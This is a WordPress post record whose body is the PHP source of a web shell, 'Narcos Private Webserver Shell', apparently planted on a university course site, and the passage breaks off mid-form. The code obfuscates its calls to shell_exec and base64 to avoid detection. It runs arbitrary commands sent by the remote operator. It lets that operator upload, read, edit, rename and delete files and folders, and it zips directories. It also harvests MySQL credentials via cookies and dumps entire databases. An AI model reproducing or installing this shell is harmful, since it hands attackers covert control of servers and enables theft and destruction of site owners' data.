{"id":4591,"date":"2023-10-10T05:27:47","date_gmt":"2023-10-10T09:27:47","guid":{"rendered":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/?p=4591"},"modified":"2023-10-10T05:27:47","modified_gmt":"2023-10-10T09:27:47","slug":"4591","status":"publish","type":"post","link":"https:\/\/torch.cci.fsu.edu\/~pmarty\/5275\/?p=4591","title":{"rendered":""},"content":{"rendered":"<p>&lt;?php<br \/>\nsession_start();<br \/>\n$baqliFunksiyalar = explode(&quot;,&quot;, &quot;&quot;);<br \/>\n$safeMode = true;<br \/>\n$actions = array(&quot;esas&quot;,&quot;fayl_oxu&quot;,&quot;phpinfo&quot;,&quot;sistem_kom&quot;,&quot;fayl_redakte&quot;,&quot;fayl_yukle&quot;,&#039;fayl_sil&#039;,&#039;fayl_yarat&#039;,&#039;papka_yarat&#039;,&#039;fayl_sifirla&#039; , &#039;papka_sil&#039;,&#039;fayl_ad_deyish&#039;, &#039;ziple&#039; , &#039;skl&#039; , &#039;skl_d_t&#039; , &#039;skl_d&#039;, &#039;fayl_upl&#039;);<br \/>\n$ne = isset($_POST[&#039;ne&#039;]) &amp;&amp; in_array($_POST[&#039;ne&#039;],$actions) ? $_POST[&#039;ne&#039;] : &quot;esas&quot;;<\/p>\n<p>function shifrele($str)<br \/>\n{<br \/>\n    $f = &#039;bas&#039;;<br \/>\n    $f .= &#039;e6&#039;;<br \/>\n    $f .= &#039;4_&#039;;<br \/>\n    $f .= &#039;e&#039;;<br \/>\n    $f .= &#039;nc&#039;;<br \/>\n    $f .= &#039;ode&#039;;<br \/>\n    return $f($str);<br \/>\n}<br \/>\nfunction deshifrele($str)<br \/>\n{<br \/>\n    $f = &#039;bas&#039;;<br \/>\n    $f .= &#039;e6&#039;;<br \/>\n    $f .= &#039;4_&#039;;<br \/>\n    $f .= &#039;d&#039;;<br \/>\n    $f .= &#039;ec&#039;;<br \/>\n    $f .= &#039;ode&#039;;<br \/>\n    return $f($str);<br \/>\n}<br \/>\nfunction tookYarat($tAd)<br \/>\n{<br \/>\n    if(isset($_SESSION[$tAd]))<br \/>\n    {<br \/>\n        unset($_SESSION[$tAd]);<br \/>\n    }<br \/>\n    $yeniTook = md5(shifrele(time().rand(1,99999999)));<br \/>\n    $_SESSION[$tAd] = $yeniTook;<br \/>\n    return $yeniTook;<br \/>\n}<br \/>\nfunction qovluquYaz()<br \/>\n{<br \/>\n    global $default_dir;<br \/>\n    $sonDir = array();<br \/>\n    $umumiHisseler = &quot;&quot;;<br \/>\n    $parse = explode(&quot;\/&quot;, $default_dir);<\/p>\n<p>    $ii = 0;<br \/>\n    foreach($parse AS $hisse)<br \/>\n    {<br \/>\n        $ii++;<br \/>\n        $umumiHisseler.=$hisse.&quot;\/&quot;;<br \/>\n        $sonDir[] = &quot;<a href='sehife(\"?qovluq=\".urlencode(urlencode(shifrele($umumiHisseler))).\"\")'>&#8220;.htmlspecialchars(empty($hisse)&amp;&amp;$ii!=count($parse)?&#8217;\/&#8217;:$hisse).&#8221;<\/a>&#8220;;<br \/>\n}<br \/>\n$sonDir = implode(&#8220;\/&#8221;, $sonDir);<br \/>\nprint $sonDir . &#8216;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;( <a href=\"\">Reset<\/a> | <a href=\"goto()\">Go to<\/a> )&#8217;;<br \/>\n}<br \/>\nfunction sizeFormat($bytes)<br \/>\n{<br \/>\nif($bytes&gt;=1073741824)<br \/>\n{<br \/>\n$bytes = number_format($bytes \/ 1073741824, 2) . &#8216; Gb&#8217;;<br \/>\n}<br \/>\nelse if($bytes&gt;=1048576)<br \/>\n{<br \/>\n$bytes = number_format($bytes \/ 1048576, 2) . &#8216; Mb&#8217;;<br \/>\n}<br \/>\nelse if($bytes&gt;=1024)<br \/>\n{<br \/>\n$bytes = number_format($bytes \/ 1024, 2) . &#8216; Kb&#8217;;<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\n$bytes = $bytes . &#8216; b&#8217;;<br \/>\n}<br \/>\nreturn $bytes;<br \/>\n}<br \/>\nfunction utf8ize($d)<br \/>\n{<br \/>\nif (is_array($d))<br \/>\n{<br \/>\nforeach ($d as $k =&gt; $v)<br \/>\n{<br \/>\n$d[$k] = utf8ize($v);<br \/>\n}<br \/>\n}<br \/>\nelse if (is_string ($d))<br \/>\n{<br \/>\nreturn utf8_encode($d);<br \/>\n}<br \/>\nreturn $d;<br \/>\n}<br \/>\nfunction rrmdir($dir)<br \/>\n{<br \/>\nif (is_dir($dir))<br \/>\n{<br \/>\n$objects = scandir($dir);<\/p>\n<p>foreach ($objects as $object)<br \/>\n{<br \/>\nif ($object != &#8220;.&#8221; &amp;&amp; $object != &#8220;..&#8221;)<br \/>\n{<br \/>\nif (is_dir($dir . &#8220;\/&#8221; . $object))<br \/>\n{<br \/>\nrrmdir($dir . &#8220;\/&#8221; . $object);<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\nunlink($dir . &#8220;\/&#8221; . $object );<br \/>\n}<br \/>\n}<br \/>\n}<\/p>\n<p>rmdir( $dir );<br \/>\n}<br \/>\n}<\/p>\n<p>$default_dir = getcwd();<br \/>\nif(isset($_POST[&#8216;qovluq&#8217;]) &amp;&amp; is_string($_POST[&#8216;qovluq&#8217;]) )<br \/>\n{<br \/>\n$default_dir = empty($_POST[&#8216;qovluq&#8217;]) ? DIRECTORY_SEPARATOR : deshifrele(urldecode(urldecode($_POST[&#8216;qovluq&#8217;])));<br \/>\n$c_h_dir_comm = &#8216;c&#8217;.&#8217;hd&#8217;.&#8217;ir&#8217;;<br \/>\n$c_h_dir_comm($default_dir);<br \/>\n}<\/p>\n<p>$default_dir = str_replace(&#8220;\\\\&#8221;, &#8220;\/&#8221;, $default_dir);<\/p>\n<p>if(isset($_GET[&#8216;ne&#8217;]) &amp;&amp; $_GET[&#8216;ne&#8217;]==&#8221;pinf&#8221;)<br \/>\n{<br \/>\nob_start();<br \/>\nphpinfo();<br \/>\n$pInf = ob_get_clean();<br \/>\nprint str_replace(&#8220;body {background-color: #ffffff; color: #000000;}&#8221;,&#8221;&#8221;,$pInf);<br \/>\nexit();<br \/>\n}<br \/>\nelse if($ne==&#8221;fayl_yukle&#8221; &amp;&amp; isset($_POST[&#8216;fayl&#8217;]) &amp;&amp; &#8220;&#8221;!=(trim($_POST[&#8216;fayl&#8217;])))<br \/>\n{<br \/>\n$faylAdi = basename(deshifrele(urldecode($_POST[&#8216;fayl&#8217;])));<br \/>\n$ayirici = substr($default_dir,strlen($default_dir)-1)!=&#8221;\/&#8221; &amp;&amp; substr($faylAdi,0,1)!=&#8221;\/&#8221; ? &#8220;\/&#8221; : &#8220;&#8221;;<br \/>\nif(is_file($default_dir . $ayirici . $faylAdi) &amp;&amp; is_readable($default_dir . $ayirici . $faylAdi))<br \/>\n{<br \/>\nheader(&#8220;Content-Disposition: attachment; filename=&#8221;.basename($faylAdi));<br \/>\nheader(&#8220;Content-Type: application\/octet-stream&#8221;);<br \/>\nheader(&#8216;Content-Length: &#8216; . filesize($default_dir . $ayirici . $faylAdi));<br \/>\nreadfile($default_dir . $ayirici . $faylAdi);<br \/>\nexit();<br \/>\n}<br \/>\n}<br \/>\nelse if($ne==&#8221;fayl_sil&#8221; &amp;&amp; isset($_POST[&#8216;fayl&#8217;]) &amp;&amp; &#8220;&#8221;!=(trim($_POST[&#8216;fayl&#8217;])))<br \/>\n{<br \/>\n$faylAdi = basename(deshifrele(urldecode($_POST[&#8216;fayl&#8217;])));<br \/>\n$ayirici = substr($default_dir,strlen($default_dir)-1)!=&#8221;\/&#8221; &amp;&amp; substr($faylAdi,0,1)!=&#8221;\/&#8221; ? &#8220;\/&#8221; : &#8220;&#8221;;<br \/>\nif(is_file($default_dir . $ayirici . $faylAdi) &amp;&amp; is_readable($default_dir . $ayirici . $faylAdi))<br \/>\n{<br \/>\nunlink($default_dir . $ayirici . $faylAdi);<br \/>\n}<br \/>\n}<br \/>\nelse if($ne==&#8221;fayl_sifirla&#8221; &amp;&amp; isset($_POST[&#8216;fayl&#8217;]) &amp;&amp; &#8220;&#8221;!=(trim($_POST[&#8216;fayl&#8217;])))<br \/>\n{<br \/>\n$faylAdi = basename(deshifrele(urldecode($_POST[&#8216;fayl&#8217;])));<br \/>\n$ayirici = substr($default_dir,strlen($default_dir)-1)!=&#8221;\/&#8221; &amp;&amp; substr($faylAdi,0,1)!=&#8221;\/&#8221; ? &#8220;\/&#8221; : &#8220;&#8221;;<br \/>\nif(is_file($default_dir . $ayirici . $faylAdi) &amp;&amp; is_readable($default_dir . $ayirici . $faylAdi))<br \/>\n{<br \/>\nfile_put_contents($default_dir . $ayirici . $faylAdi, &#8221;);<br \/>\n}<br \/>\n}<br \/>\nelse if($ne==&#8221;fayl_yarat&#8221; &amp;&amp; isset($_POST[&#8216;ad&#8217;]) &amp;&amp; !empty($_POST[&#8216;ad&#8217;]))<br \/>\n{<br \/>\n$faylAdi = basename(urldecode($_POST[&#8216;ad&#8217;]));<br \/>\n$ayirici = substr($default_dir,strlen($default_dir)-1)!=&#8221;\/&#8221; &amp;&amp; substr($faylAdi,0,1)!=&#8221;\/&#8221; ? &#8220;\/&#8221; : &#8220;&#8221;;<br \/>\nif( is_file($default_dir . $ayirici . $faylAdi) )<br \/>\n{<br \/>\nprint &#8216;alert(&#8220;The folder with this name already exists!&#8221;);&#8217;;<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\nfile_put_contents($default_dir . $ayirici . $faylAdi, &#8221;);<br \/>\n}<br \/>\n}<br \/>\nelse if($ne==&#8221;papka_yarat&#8221; &amp;&amp; isset($_POST[&#8216;ad&#8217;]) &amp;&amp; !empty($_POST[&#8216;ad&#8217;]))<br \/>\n{<br \/>\n$papkaAdi = basename(urldecode($_POST[&#8216;ad&#8217;]));<br \/>\n$ayirici = substr($default_dir,strlen($default_dir)-1)!=&#8221;\/&#8221; &amp;&amp; substr($papkaAdi,0,1)!=&#8221;\/&#8221; ? &#8220;\/&#8221; : &#8220;&#8221;;<br \/>\nif( is_file($default_dir . $ayirici . $papkaAdi) )<br \/>\n{<br \/>\nprint &#8216;alert(&#8220;The folder with this name already exists!&#8221;);&#8217;;<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\nmkdir($default_dir . $ayirici . $papkaAdi);<br \/>\n}<br \/>\n}<br \/>\nelse if($ne==&#8221;fayl_ad_deyish&#8221; &amp;&amp; isset($_POST[&#8216;fayl&#8217;]) &amp;&amp; &#8220;&#8221;!=(trim($_POST[&#8216;fayl&#8217;])) &amp;&amp; isset($_POST[&#8216;new_name&#8217;]) &amp;&amp; is_string($_POST[&#8216;new_name&#8217;]) &amp;&amp; !empty($_POST[&#8216;new_name&#8217;]))<br \/>\n{<br \/>\n$faylAdi = basename(deshifrele(urldecode($_POST[&#8216;fayl&#8217;])));<br \/>\n$faylYeniAd = basename(urldecode($_POST[&#8216;new_name&#8217;]));<br \/>\n$ayirici = substr($default_dir,strlen($default_dir)-1)!=&#8221;\/&#8221; &amp;&amp; substr($faylAdi,0,1)!=&#8221;\/&#8221; ? &#8220;\/&#8221; : &#8220;&#8221;;<br \/>\nif(is_file($default_dir . $ayirici . $faylAdi) &amp;&amp; is_readable($default_dir . $ayirici . $faylAdi))<br \/>\n{<br \/>\nrename($default_dir . $ayirici . $faylAdi , $default_dir . $ayirici . $faylYeniAd);<br \/>\n}<br \/>\n}<br \/>\nelse if( $ne == &#8216;skl_d_t&#8217; &amp;&amp; isset($_POST[&#8216;t&#8217;]) &amp;&amp; is_string($_POST[&#8216;t&#8217;]) &amp;&amp; !empty($_POST[&#8216;t&#8217;]) )<br \/>\n{<br \/>\n$tableName = deshifrele(urldecode($_POST[&#8216;t&#8217;]));<\/p>\n<p>$host = isset($_COOKIE[&#8216;host&#8217;]) ? $_COOKIE[&#8216;host&#8217;] : &#8221;;<br \/>\n$user = isset($_COOKIE[&#8216;user&#8217;]) ? $_COOKIE[&#8216;user&#8217;] : &#8221;;<br \/>\n$parol = isset($_COOKIE[&#8216;parol&#8217;]) ? $_COOKIE[&#8216;parol&#8217;] : &#8221;;<br \/>\n$baza = isset($_COOKIE[&#8216;baza&#8217;]) ? $_COOKIE[&#8216;baza&#8217;] : &#8221;;<\/p>\n<p>$bazaStr = empty($baza) ? &#8221; : &#8216;dbname=&#8217; . $baza . &#8216;;&#8217;;<\/p>\n<p>if( !empty( $host ) &amp;&amp; !empty($baza) )<br \/>\n{<br \/>\ntry<br \/>\n{<br \/>\n$pdo = new PDO(&#8216;mysql:host=&#8217; . $host . &#8216;;charset=utf8;&#8217; . $bazaStr , $user , $parol,array(PDO::MYSQL_ATTR_INIT_COMMAND =&gt; &#8220;SET NAMES &#8216;utf8&#8242;&#8221;));<br \/>\n$pdo-&gt;setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);<\/p>\n<p>$getColumns = $pdo-&gt;prepare(&#8220;SELECT column_name from information_schema.columns where table_schema=? and table_name=?&#8221;);<br \/>\n$getColumns-&gt;execute(array($baza , $tableName));<br \/>\n$columns = $getColumns-&gt;fetchAll();<\/p>\n<p>if( $columns )<br \/>\n{<\/p>\n<p>$data = $pdo-&gt;query(&#8216;SELECT * FROM `&#8217; . $tableName .&#8217;`&#8217;);<br \/>\n$data = $data-&gt;fetchAll();<\/p>\n<p>header(&#8216;Content-disposition: attachment; filename=d_&#8217; . basename(htmlspecialchars($tableName)) . &#8216;.json&#8217;);<br \/>\nheader(&#8216;Content-type: application\/json&#8217;);<br \/>\necho json_encode($data);<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\nprint &#8216;Table not found!&#8217;;<br \/>\n}<\/p>\n<p>}<br \/>\ncatch (Exception $e)<br \/>\n{<br \/>\nprint $e-&gt;getMessage();<br \/>\n}<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\nprint &#8216;Error! Please connect to SQL!&#8217;;<br \/>\n}<br \/>\ndie;<br \/>\n}<br \/>\nelse if( $ne == &#8216;skl_d&#8217; )<br \/>\n{<br \/>\n$host = isset($_COOKIE[&#8216;host&#8217;]) ? $_COOKIE[&#8216;host&#8217;] : &#8221;;<br \/>\n$user = isset($_COOKIE[&#8216;user&#8217;]) ? $_COOKIE[&#8216;user&#8217;] : &#8221;;<br \/>\n$parol = isset($_COOKIE[&#8216;parol&#8217;]) ? $_COOKIE[&#8216;parol&#8217;] : &#8221;;<br \/>\n$baza = isset($_COOKIE[&#8216;baza&#8217;]) ? $_COOKIE[&#8216;baza&#8217;] : &#8221;;<\/p>\n<p>$bazaStr = empty($baza) ? &#8221; : &#8216;dbname=&#8217; . $baza . &#8216;;&#8217;;<\/p>\n<p>if( !empty( $host ) &amp;&amp; !empty($baza) )<br \/>\n{<br \/>\ntry<br \/>\n{<br \/>\n$pdo = new PDO(&#8216;mysql:host=&#8217; . $host . &#8216;;charset=utf8;&#8217; . $bazaStr , $user , $parol,array(PDO::MYSQL_ATTR_INIT_COMMAND =&gt; &#8220;SET NAMES &#8216;utf8&#8242;&#8221;));<br \/>\n$pdo-&gt;setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);<\/p>\n<p>$allData = array();<\/p>\n<p>$tables = $pdo-&gt;prepare(&#8216;SELECT table_name from information_schema.tables where table_schema=?&#8217;);<br \/>\n$tables-&gt;execute(array($baza));<br \/>\n$tables = $tables-&gt;fetchAll();<\/p>\n<p>foreach( $tables AS $tableName )<br \/>\n{<br \/>\n$tableName = $tableName[&#8216;table_name&#8217;];<\/p>\n<p>$data = $pdo-&gt;query(&#8216;SELECT * FROM `&#8217; . $tableName .&#8217;`&#8217;);<br \/>\n$data = $data-&gt;fetchAll();<\/p>\n<p>$allData[$tableName] = $data ? array($data) : array();<br \/>\n}<\/p>\n<p>header(&#8216;Content-disposition: attachment; filename=d_b_&#8217; . basename(htmlspecialchars($baza)) . &#8216;.json&#8217;);<br \/>\nheader(&#8216;Content-type: application\/json&#8217;);<\/p>\n<p>echo json_encode( utf8ize( $allData) );<br \/>\n}<br \/>\ncatch (Exception $e)<br \/>\n{<br \/>\nprint $e-&gt;getMessage();<br \/>\n}<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\nprint &#8216;Error! Please connect to SQL!&#8217;;<br \/>\n}<br \/>\ndie;<br \/>\n}<br \/>\nelse if( $ne == &#8216;ziple&#8217;<br \/>\n&amp;&amp; isset($_POST[&#8216;save_to&#8217;] , $_POST[&#8216;zf&#8217;]) &amp;&amp; is_string($_POST[&#8216;save_to&#8217;])<br \/>\n&amp;&amp; !empty($_POST[&#8216;save_to&#8217;]) &amp;&amp; !in_array($_POST[&#8216;save_to&#8217;] , array(&#8216;.&#8217; , &#8216;..&#8217; , &#8216;.\/&#8217; , &#8216;..\/&#8217;))<br \/>\n&amp;&amp; is_string($_POST[&#8216;zf&#8217;]) &amp;&amp; !empty($_POST[&#8216;zf&#8217;])<br \/>\n)<br \/>\n{<br \/>\n$save_to = deshifrele(urldecode($_POST[&#8216;save_to&#8217;]));<\/p>\n<p>$rootPath = realpath(deshifrele(urldecode($_POST[&#8216;zf&#8217;])));<\/p>\n<p>$fileName1 = &#8216;bak_&#8217;.microtime(1) . &#8216;_&#8217; . rand(1000, 99999) . &#8216;.zip&#8217;;<br \/>\n$fileName = $save_to . DIRECTORY_SEPARATOR . $fileName1;<\/p>\n<p>if( is_dir( $save_to ) &amp;&amp; is_dir( $rootPath ) &amp;&amp; is_writable( $save_to ) )<br \/>\n{<br \/>\nset_time_limit(0);<\/p>\n<p>$zip = new ZipArchive();<br \/>\n$zip-&gt;open( $fileName , ZipArchive::CREATE | ZipArchive::OVERWRITE );<\/p>\n<p>$files = new RecursiveIteratorIterator(<br \/>\nnew RecursiveDirectoryIterator($rootPath),<br \/>\nRecursiveIteratorIterator::LEAVES_ONLY<br \/>\n);<\/p>\n<p>foreach ($files as $name =&gt; $file)<br \/>\n{<br \/>\nif (!$file-&gt;isDir())<br \/>\n{<br \/>\n$filePath = $file-&gt;getRealPath();<br \/>\n$relativePath = substr($filePath, strlen($rootPath) + 1);<\/p>\n<p>$zip-&gt;addFile($filePath, $relativePath);<br \/>\n}<br \/>\n}<\/p>\n<p>$zip-&gt;close();<br \/>\nprint &#8216;Saved!<\/p>\n<hr>\n<p>&#8216;;<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\nprint &#8216;Dir is not writeable!<\/p>\n<hr>\n<p>&#8216;;var_dump(( $save_to ) );<br \/>\n}<br \/>\n}<br \/>\nelse if( $ne == &#8216;papka_sil&#8217;<br \/>\n&amp;&amp; isset($_POST[&#8216;zf&#8217;]) &amp;&amp; is_string($_POST[&#8216;zf&#8217;]) &amp;&amp; !empty($_POST[&#8216;zf&#8217;])<br \/>\n)<br \/>\n{<br \/>\n$rootPath = realpath(deshifrele(urldecode($_POST[&#8216;zf&#8217;])));<\/p>\n<p>if( is_dir( $rootPath ) )<br \/>\n{<br \/>\nset_time_limit(0);<\/p>\n<p>rrmdir( $rootPath );<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\nprint &#8216;Dir is not writeable!<\/p>\n<hr>\n<p>&#8216;;var_dump(( $save_to ) );<br \/>\n}<br \/>\n}<br \/>\nelse if($ne == &#8216;fayl_upl&#8217; &amp;&amp; isset($_FILES[&#8216;ufayl&#8217;]))<br \/>\n{<br \/>\nmove_uploaded_file($_FILES[&#8216;ufayl&#8217;][&#8216;tmp_name&#8217;], $default_dir . &#8216;\/&#8217; . $_FILES[&#8216;ufayl&#8217;][&#8216;name&#8217;]);<br \/>\nprint &#8220;It looks loaded.&#8221;;<br \/>\n}<br \/>\n?&gt;<\/p>\n<p><title>Narcos Private Webserver Shell<\/title><\/p>\n<p>body<br \/>\n{<br \/>\n    background-color: #222222;<br \/>\n    color: #D6D4D4;<br \/>\n    font-family: Lucida,Verdana;<br \/>\n    font-size: 12px;<br \/>\n}<br \/>\n.qalin<br \/>\n{<br \/>\n    text-decoration: none;<br \/>\n    color: #D6905E;<br \/>\n    font-weight: 600;<br \/>\n}<br \/>\n.success<br \/>\n{<br \/>\n    color: #9DB754;<br \/>\n}<br \/>\n.bad<br \/>\n{<br \/>\n    color: #B75654;<br \/>\n}<br \/>\na<br \/>\n{<br \/>\n    color: #ACB754;<br \/>\n    text-decoration: none !important;<br \/>\n}<br \/>\n.fManager,.fManager tbody,.fManager tr<br \/>\n{<br \/>\n    padding: 0;<br \/>\n    border-collapse: collapse;<br \/>\n    margin: 0;<br \/>\n    font-size: 12px;<br \/>\n}<br \/>\n.fManager<br \/>\n{<br \/>\n    margin: 10px 0;<br \/>\n}<br \/>\n.fManager tbody tr:nth-child(2n+1)<br \/>\n{<br \/>\n    background: #331717;<br \/>\n}<br \/>\n.fManager tbody tr:nth-child(2n)<br \/>\n{<br \/>\n    background: #1C0C0C;<br \/>\n}<br \/>\n.fManager tbody tr:hover<br \/>\n{<br \/>\n    background: #000000;<br \/>\n}<br \/>\n.fManager thead th<br \/>\n{<br \/>\n    text-align: left;<br \/>\n}<br \/>\n.fManager thead tr<br \/>\n{<br \/>\n    background-color: #333333;<br \/>\n}<br \/>\n.fManager<br \/>\n{<br \/>\n    box-shadow: 1px 1px 1px 1px #333333;<br \/>\n}<br \/>\n.fManager thead th<br \/>\n{<br \/>\n    padding: 4px 3px;<br \/>\n}<br \/>\n.fayl_oxu<br \/>\n{<br \/>\n    margin: 5px 0;<br \/>\n    padding: 2px;<br \/>\n    box-shadow: 1px 1px 1px 1px #333333;<br \/>\n    background-color: #E1E1E1;<br \/>\n    width: 100%;<br \/>\n    height: 400px;<br \/>\n    overflow: auto;<br \/>\n}<br \/>\n.btn<br \/>\n{<br \/>\n    border: 1px solid #ACAE40;<br \/>\n    background-color: #223B3B;<br \/>\n    color: #E1E1E1;<br \/>\n    padding: 1px 10px;<br \/>\n    cursor: pointer;<br \/>\n}<br \/>\n.btn:disabled<br \/>\n{<br \/>\n    border: 1px solid #848484;<br \/>\n    color: #848484;<br \/>\n    cursor: not-allowed;<br \/>\n}<br \/>\n.file_edit<br \/>\n{<br \/>\n    margin: 5px 0;<br \/>\n    padding: 2px;<br \/>\n    box-shadow: 1px 1px 1px 1px #333333;<br \/>\n    background-color: #E1E1E1;<br \/>\n    width: 100%;<br \/>\n    height: 400px;<br \/>\n    overflow: auto;<br \/>\n}<br \/>\ninput, select, textarea<br \/>\n{<br \/>\n    background: transparent !important;<br \/>\n    color: #f6a56d;<br \/>\n    border: 1px solid #D6905E;<br \/>\n    padding: 5px;<br \/>\n}<br \/>\ntable td<br \/>\n{<br \/>\n    border: 1px solid rgba(214, 144, 94, 0.7);<br \/>\n    min-width: 20px;<br \/>\n    padding-left: 5px;<br \/>\n    padding-right: 5px;<br \/>\n    max-width: 500px;<br \/>\n    color: #ffad6f;<br \/>\n    background: #292929;<br \/>\n}<br \/>\ntable th<br \/>\n{<br \/>\n    border: 1px solid #D6905E;<br \/>\n    padding-left: 5px;<br \/>\n    padding-right: 5px;<br \/>\n    color: #ffad6f;<br \/>\n}<br \/>\ntable td div<br \/>\n{<br \/>\n    overflow: auto;<br \/>\n    width: 100%;<br \/>\n    height: 100%;<br \/>\n    max-height: 100px;<br \/>\n}<\/p>\n<p>&lt;?php<\/p>\n<p>if(function_exists(&#039;posix_getegid&#039;))<br \/>\n{<br \/>\n    $qid = posix_getgrgid(posix_getegid());<br \/>\n    $qrup = $qid[&#039;name&#039;];<br \/>\n    print &quot;<span class='qalin'>Uname:<\/span> &#8221; . php_uname() . &#8221;<br \/>\n&#8220;;<br \/>\nprint &#8220;<span class='qalin'>User:<\/span> &#8220;.getmyuid().&#8221; (&#8220;.get_current_user().&#8221;)<br \/>\n&#8220;;<br \/>\nprint &#8220;<span class='qalin'>Group:<\/span> &#8220;.getmygid().&#8221; (&#8220;.$qrup.&#8221;)<br \/>\n&#8220;;<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\nprint &#8220;<span class='qalin'>Uname:<\/span> &#8221; . php_uname() . &#8221;<br \/>\n&#8220;;<br \/>\nprint &#8220;<span class='qalin'>User:<\/span> &#8220;.getmyuid().&#8221; (&#8220;.get_current_user().&#8221;)<br \/>\n&#8220;;<br \/>\nprint &#8220;<span class='qalin'>Group:<\/span> &#8220;.getmygid().&#8221;<br \/>\n&#8220;;<br \/>\n}<br \/>\nprint &#8220;<span class='qalin'>Disable functions:<\/span> &#8221; . (implode(&#8220;, &#8220;, $baqliFunksiyalar)==&#8221;&#8221;?&#8221;<span class='success'>No&#8221;:&#8221;<span class='bad'>&#8220;. implode(&#8220;, &#8220;, $baqliFunksiyalar)) . &#8220;<\/span><br \/>\n&#8220;;<br \/>\nprint &#8220;<span class='qalin'>Safe mode: <\/span>&#8221; . ($safeMode===true?&#8221;<span class='bad'>On&#8221;:&#8221;<span class='success'>Off&#8221;) . &#8220;<\/span><span style='margin-left: 50px'><a href='sehife(\"?ne=phpinfo\")'>[ PHPinfo ]<\/a><\/span><br \/>\n&#8220;;<br \/>\nqovluquYaz();<br \/>\nprint &#8216;<\/p>\n<hr>\n<p>&#8216;;<br \/>\nif($ne==&#8221;phpinfo&#8221;)<br \/>\n{<br \/>\nprint &#8221;<\/p>\n<div style='width: 100%;height: 400px'><\/div>\n<p>&#8220;;<br \/>\n}<br \/>\nelse if($ne==&#8221;sistem_kom&#8221;)<br \/>\n{<br \/>\nif( isset( $_POST[&#8216;kom&#8217;] ) &amp;&amp; is_string($_POST[&#8216;kom&#8217;]) &amp;&amp; !empty($_POST[&#8216;kom&#8217;]) )<br \/>\n{<br \/>\n$komanda = deshifrele(urldecode($_POST[&#8216;kom&#8217;]));<\/p>\n<p>$k = &#8216;sh&#8217;;<br \/>\n$k.=&#8217;el&#8217;;<br \/>\n$k.=&#8217;l_e&#8217;;<br \/>\n$k.=&#8217;xe&#8217;;<br \/>\n$k.=&#8217;c&#8217;;<\/p>\n<p>$output = $k($komanda);<\/p>\n<p>print &#8216;<\/p>\n<pre style=\"max-height: 350px;overflow: auto;border: 1px solid #777;padding: 5px\">' . htmlspecialchars($output) . '<\/pre>\n<hr>\n<p>&#8216;;<br \/>\n}<br \/>\nprint &#8216; <button type=\"button\" class=\"btn\">Okey<\/button>&#8216;;<br \/>\n}<br \/>\nelse if($ne==&#8221;fayl_oxu&#8221; &amp;&amp; isset($_POST[&#8216;fayl&#8217;]) &amp;&amp; &#8220;&#8221;!=(trim($_POST[&#8216;fayl&#8217;])))<br \/>\n{<br \/>\n$faylAdi = basename(deshifrele(urldecode($_POST[&#8216;fayl&#8217;])));<br \/>\n$ayirici = substr($default_dir,strlen($default_dir)-1)!=&#8221;\/&#8221; &amp;&amp; substr($faylAdi,0,1)!=&#8221;\/&#8221; ? &#8220;\/&#8221; : &#8220;&#8221;;<br \/>\nif(is_file($default_dir . $ayirici . $faylAdi) &amp;&amp; is_readable($default_dir . $ayirici . $faylAdi))<br \/>\n{<br \/>\n$elaveBtn = is_writeable($default_dir . $ayirici . $faylAdi) ? &#8221; onclick=&#8217;sehife(\\&#8221;?ne=fayl_redakte&amp;fayl=&#8221;.urlencode(urlencode(shifrele($faylAdi))).&#8221;&amp;qovluq=&#8221;.urlencode(urlencode(shifrele($default_dir))).&#8221;\\&#8221;)'&#8221; : &#8221; disabled&#8221;;<br \/>\nprint &#8221;<\/p>\n<div>File Name: <span class='qalin'>&#8220;.htmlspecialchars($faylAdi).&#8221;<\/span><br \/>\n<button> Change <\/button><\/div>\n<p>&#8220;;<br \/>\nprint &#8221;<\/p>\n<div class='fayl_oxu'>&#8220;.highlight_string(file_get_contents($default_dir . $ayirici . $faylAdi), true).&#8221;<\/div>\n<p>&#8220;;<br \/>\n}<br \/>\n}<br \/>\nelse if($ne == &#8216;skl&#8217;)<br \/>\n{<br \/>\n$host = isset($_COOKIE[&#8216;host&#8217;]) ? $_COOKIE[&#8216;host&#8217;] : &#8221;;<br \/>\n$user = isset($_COOKIE[&#8216;user&#8217;]) ? $_COOKIE[&#8216;user&#8217;] : &#8221;;<br \/>\n$parol = isset($_COOKIE[&#8216;parol&#8217;]) ? $_COOKIE[&#8216;parol&#8217;] : &#8221;;<br \/>\n$baza = isset($_COOKIE[&#8216;baza&#8217;]) ? $_COOKIE[&#8216;baza&#8217;] : &#8221;;<\/p>\n<p>if( isset($_POST[&#8216;host&#8217;] , $_POST[&#8216;user&#8217;] , $_POST[&#8216;parol&#8217;])<br \/>\n&amp;&amp; is_string($_POST[&#8216;host&#8217;]) &amp;&amp; is_string($_POST[&#8216;user&#8217;]) &amp;&amp; is_string($_POST[&#8216;parol&#8217;])<br \/>\n)<br \/>\n{<br \/>\n$host = $_POST[&#8216;host&#8217;];<br \/>\n$user = $_POST[&#8216;user&#8217;];<br \/>\n$parol = $_POST[&#8216;parol&#8217;];<br \/>\n$baza = &#8221;;<\/p>\n<p>setcookie(&#8216;host&#8217; , $host , time() + 360000);<br \/>\nsetcookie(&#8216;user&#8217; , $user , time() + 360000);<br \/>\nsetcookie(&#8216;parol&#8217; , $parol , time() + 360000);<br \/>\nsetcookie(&#8216;baza&#8217; , $baza , time() + 360000);<br \/>\n}<\/p>\n<p>if( isset($_POST[&#8216;baza&#8217;]) &amp;&amp; is_string($_POST[&#8216;baza&#8217;]) )<br \/>\n{<br \/>\n$baza = $_POST[&#8216;baza&#8217;];<\/p>\n<p>setcookie(&#8216;baza&#8217; , $baza , time() + 360000);<br \/>\n}<\/p>\n<p>$bazaStr = empty($baza) ? &#8221; : &#8216;dbname=&#8217; . $baza . &#8216;;&#8217;;<\/p>\n<p>?&gt;<\/p>\n<p>&lt;input type=&quot;text&quot; placeholder=&quot;Hostname&quot; name=&quot;host&quot; 